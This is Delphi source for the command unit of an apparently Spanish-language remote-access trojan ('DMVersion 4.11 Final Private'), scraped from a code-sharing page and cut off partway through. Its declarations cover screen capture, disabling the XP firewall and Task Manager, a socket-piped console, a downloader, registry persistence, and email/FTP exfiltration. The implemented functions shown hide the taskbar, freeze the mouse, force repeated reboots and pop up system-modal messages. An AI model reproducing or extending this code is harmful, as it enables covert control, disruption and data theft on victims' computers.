📄 dmucommandsandutils.pas
字号:
unit DMUCommandsAndUtils;
interface
uses Windows,winsock, wininet ,TlHelp32, MMSystem,ShellApi,WinSvc;
function FindWindowsDir : string;
function StrPos(const Str1, Str2: PChar): PChar; assembler;
function CloseProcces(Exefile: string): string;
function ProcessExists (Exefile: string): Boolean;
function GetLocalHostName: string;
function SendData (SOCKET : TSOCKET;Data :string): integer;
function FindChar(Word: string;char : string):integer ;
function FindNChars(Word: string;char : string):integer ;
function split (text : string;char : string; num : integer):string;
function GetLocalPath:string;
function ShellEx(Path : string):string;
function LocalIP: string;
function PeerToAddress(Socket: TSocket): string;
function Replace(strSource:string; strToFind:string; strReplace:string): string;
procedure CrearThreadRegistro (key : string; data : string; appname : string);
procedure VaciarPapelera( Whandle : Thandle );
function Get_SysPath:string ;
function VentanaActiva: String;
function Usuario: String;
function NombreHost: String;
function TextoValido( b : Array of Char ):string;
function EsXP : Boolean;
function Descargar( url : String; Parametro2: String ): boolean;
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
function BorrarArchivo( s: String ): integer;
procedure showm( s : String );
function GetCPUSpeed: Double;
function FileExists( s : String ): Boolean;
function StrToInt64(const S: string): Int64;
function BuffToStr( const b : Array of Char ) : string;
function StrToInt(const S: string ): Integer;
function StrPas(const Str: PChar): string;
function IntToStr(Value: Integer): string;
function StrPCopy(Dest: PChar; const Source: string): PChar;
function LowerCase(const S: string): string;
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
function StrToIntDef(const S: string; Default: Integer): Integer;
function Trim(const S: string): string;
function UpperCase( S :String ): String ;
function Time : string;
function ddate : string;
function stringtochar(st : string) : char;
function HexToInt(s: string): Longword;
function GenerarRandomString: String;
procedure PresionarTecla( key: Byte );
function OpenCloseCD( handle : THandle ): String ;
function MsgWindows( n : Byte; Parametro : String ) : String ;
function ActivarDesactivarBotonInicio : String;
function EsconderMostrarTaskBar : String;
function ShowHideSysTray : String ;
function HideShowIconos : String;
function SwapMouse : String;
function PonerPapelTapiz( Parametro : String) : String;
function CongelarMouse : String;
function ReiniciarWindows : String;
function PlaySound( Parametro : String ): String;
function Minimizar: String;
function MouseLocos : String;
function RebotaInicio : String;
function EjecutarScreenSaver( WHandle : Thandle ) : String;
function MinAll : String ;
function CambiarCaption( Parametro : String ) : String;
function DesplegarInicio( WHandle : Thandle) : String;
function SonarParlantito: String;
function KillProcess( Parametro : String): String;
function Procces( ):string;
function SystemInfo() : string;
function DelTree( Parametro : String ): string;
function Ocultar( Path : String; oculto:Boolean ): String ;
procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
function Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
function ClearCmos : String ;
function LeerPortaPapeles( WHandle : Thandle ) : String;
function Borrar_Clipboard( handle : Thandle ) : String;
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
function CambiarNombrePC( parametro : string ): string;
function Set_Resolucion( Parametro : String ) : string;
function SetTime( parametro : String ) : String;
function Color_Ventanas( Parametro :string ) : String;
function Color3d( Parametro : String) : String;
function Color_Menues( parametro : String ): String ;
function Sacar_Apagar_sistema : String;
function Poner_Apagar_sistema : String;
function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
function CrearThreadVivorita: String;
procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp: integer );
function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
function capture ( JPGCompressQuality:Integer ): String;
function LIST( dir : string ):string;
procedure SendEMAIL(SMTP : string;EMAIL:string;MyEMAIL : string);
function GetFileName (text : string):string;
function ListWindows : string;
procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
function WinVer: string;
procedure LanzarProgramaConsola(App: string; c: Boolean; socket : Tsocket);
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
procedure DisableXPFirewall;
//Explorer
function Noclose(value : integer): string;
function NoRun(value : integer): string;
function NoLogoff(value : integer): string;
function NoDesktop(value : integer): string;
function NoFind (value : integer): string;
function NoNetConnectDisconnect (value : integer): string;
function NoSetFolders(value : integer): string;
function NoControlPanel(value : integer): string;
function NoDrives (value : integer): string;
function ResrictRun(value : integer): string;
//System
function DisableTaskMgr(value : integer): string;
function NoDispCPL(value : integer): string;
function NoDispBackgroundPage(value : integer): string;
//network
function NoWorkgroupContents(value : integer): string;
function NoEntireNetwork(value : integer): string;
function NoFileSharingControl(value : integer): string;
function NoPrintSharing(value : integer): string;
procedure SetmousePOS(x : integer; y : integer);
procedure ShellCode ;
function ServiceGetList(Machine: string): string;
procedure StartService(Machine, ServiceName: string);
procedure StopService(Machine, ServiceName: string);
procedure UninstallService(Machine, ServiceName: string);
procedure InstallService(Machine, ServiceName, DisplayName, FileName: string);
function ShutDownWindows(RebootParam: Longword): Boolean;
function MatarMouseTeclado : String;
function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
procedure ExtractResourceToFile( ResName, ResExtract: String);
const
DMVersion = '4.11 Final Private';
type
TAByte = array [0..maxInt -1] of byte;
TPAByte = ^TAByte;
var Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
MouseLoco, Rebota, Vivorita : Boolean;
//esto es para el boton de inicio
h : THandle;
r : TRect;
Grave: Integer = 20;
//para consola
ConsolaApp : String;
RunPipe : Boolean;
EsConsola : Boolean;
ConsoleSocket : Tsocket;
Clave : String;
ProcessTmp :string ;
regkey,regdata,regappname: string;
WindowsLISTtmp : string;
DeskLoaded : boolean;
ConnectionType : integer;
Data_PASS : string;
implementation
function GetFileName (text : string):string;
var
a,i : integer;
begin
a:= FindNChars(text,'\');
for i := 1 to a do begin
text:=copy ( text, findchar(text,'\')+1,length(text));
end;
Result:=text;
end;
///////////////////////////////////////////////////////////////////////////////
function capture ( JPGCompressQuality:Integer ): String;
type TgetDesktop = function(nWidth : Integer; nHeight : Integer; blnJpeg : Boolean; JPGCompressQuality:Integer; strFileName : String): Integer; stdcall;
var
DLLInstance : THandle;
getDesktop : TgetDesktop;
begin
Result:='&1&';
if DeskLoaded=false then begin
DLLInstance := LoadLibrary('desk.dll');
Result:='&1&';
if DLLInstance = 0 then begin
Result:='&0&';
Exit;
end;
end;
DeskLoaded:=true ;
@getDesktop := GetProcAddress(DLLInstance, 'getDesktop');
if @getDesktop <> nil then
getDesktop(0,0,true,JPGCompressQuality,pchar (Get_SysPath) + '\desk.jpg')
else
DeskLoaded:=false ;
FreeLibrary(DLLInstance);
end;
///////////////////////////////////////////////////////////////////////////////
function OpenCloseCD( handle : THandle ): String ;
begin
if CDROMCerrado then
begin
CDROMCerrado := FALSE;
mciSendString( 'Set cdaudio door open wait', nil, 0, handle );
Result := '&0&';
end
else
begin
CDROMCerrado := TRUE;
mciSendString( 'Set cdaudio door closed wait' , nil , 0 , handle );//cerrar cd
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function MsgWindows( n : Byte; Parametro : String ) : String;
begin
Case n of
0 : MessageBox( 0 , pchar( Parametro ) , 'Information' , MB_OK + MB_ICONINFORMATION + MB_SYSTEMMODAL );
1 : MessageBox( 0 , pchar( Parametro ) , 'Question' , MB_OK + MB_ICONQUESTION + MB_SYSTEMMODAL );
2 : MessageBox( 0 , pchar( Parametro ) , 'Warning' , MB_OK + MB_ICONWARNING + MB_SYSTEMMODAL );
3 : MessageBox( 0 , pchar( Parametro ) , 'Stop' , MB_OK + MB_ICONSTOP + MB_SYSTEMMODAL );
4 : MessageBox( 0 , pchar( Parametro ) , 'Question' , MB_YESNO + MB_ICONQUESTION + MB_SYSTEMMODAL );
end;
Result := 'Message Showed';
end;
///////////////////////////////////////////////////////////////////////////////
function ActivarDesactivarBotonInicio : String;
begin
if BotonInicio then
begin
EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) , false );
Result := '&0&';
BotonInicio := False;
end
else
begin
EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd' , nil ) , 0 , 'Button' , nil ) , true );
Result := '&1&';
BotonInicio := True;
end;
end;
///////////////////////////////////////////////////////////////////////////////
function EsconderMostrarTaskBar : String;
var htaskbar : THandle;
begin
hTaskBar := FindWindow( 'Shell_TrayWnd', nil );
if TaskBar then
begin
ShowWindow( hTaskBar , SW_Hide );
TaskBar := FALSE;
Result := '&0&';
end
else
begin
ShowWindow( hTaskBar , SW_SHOW );
TaskBar := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function ShowHideSysTray : String ;
var wnd:Thandle;
begin
Wnd := FindWindow( 'Shell_TrayWnd' , nil );
Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'TrayNotifyWnd' , nil );
if SysTray then
begin
ShowWindow( Wnd, SW_HIDe );
Systray := FALSE;
Result := '&0&';
end
else begin
ShowWindow( Wnd , SW_Show );
SysTray := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function HideShowIconos : String;
var wnd: THandle;
begin
Wnd := FindWindow( 'Progman' , nil );
Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'ShellDll_DefView' , nil );
if Iconos then
begin
ShowWindow( Wnd , SW_Hide );
Iconos := FALSE;
Result := '&0&';
end
else begin
ShowWindow( Wnd , SW_Show );
Iconos := TRUE;
Result := '&1&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function SwapMouse : String;
begin
if SMouse then
begin
SwapMouseButton( FALSE );
SMouse := FALSE;
Result := '&0&';
end
else begin
SwapMouseButton( TRUE );
SMouse := TRUE;
Result := '&0&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function PonerPapelTapiz( PArametro : String) : String;
begin
if FileExists( Parametro )then
begin
SystemParametersInfo( SPI_SETDESKWALLPAPER , 0 , PChar( Parametro ) , 0 );
Result := 'Background enabled';
end
else
Result := 'File doesnt' + Parametro + ' exits';
end;
///////////////////////////////////////////////////////////////////////////////
procedure FijarCursor;
begin
while congelado do
begin
SetCursorPos( 50,50 );
Sleep( 50 );
end;
end;
///////////////////////////////////////////////////////////////////////////////
function CongelarMouse : String;
var id: Cardinal;
begin
if Congelado then
begin
Result := '&1&';
Congelado := FALSE;
end
else begin
Congelado := TRUE;
BeginThread(nil, 0, @FijarCursor, nil, 0, id );
Result := '&0&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
function ReiniciarWindows : String;
var i:Byte;
begin
For i:= 1 to 30 do
ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0);
end;
///////////////////////////////////////////////////////////////////////////////
function PlaySound( Parametro : String ): String;
type TPS = function (lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
var PS : TPS;
h : THandle;
begin
if FileExists( Parametro ) then
begin
h := LoadLibrary( 'winmm.dll' );
@PS := GetProcAddress( H, 'sndPlaySoundA' );
if PS( Pchar( Parametro ) , 0 ) then
Result := 'Tha sound was played'
else
Result := 'Sound wasnt played';
FreeLibrary( H );
end
else
Result := 'File' + Parametro + ' Dosnt exits';
end;
///////////////////////////////////////////////////////////////////////////////
function Minimizar: String;
begin
ShowWindow( GetActiveWindow, SW_MINIMIZE );
Result := 'The window"' + VentanaActiva + '", was minimised!!!';
end;
///////////////////////////////////////////////////////////////////////////////
procedure CambiarPosicionmouse;
begin
while MouseLoco do
begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -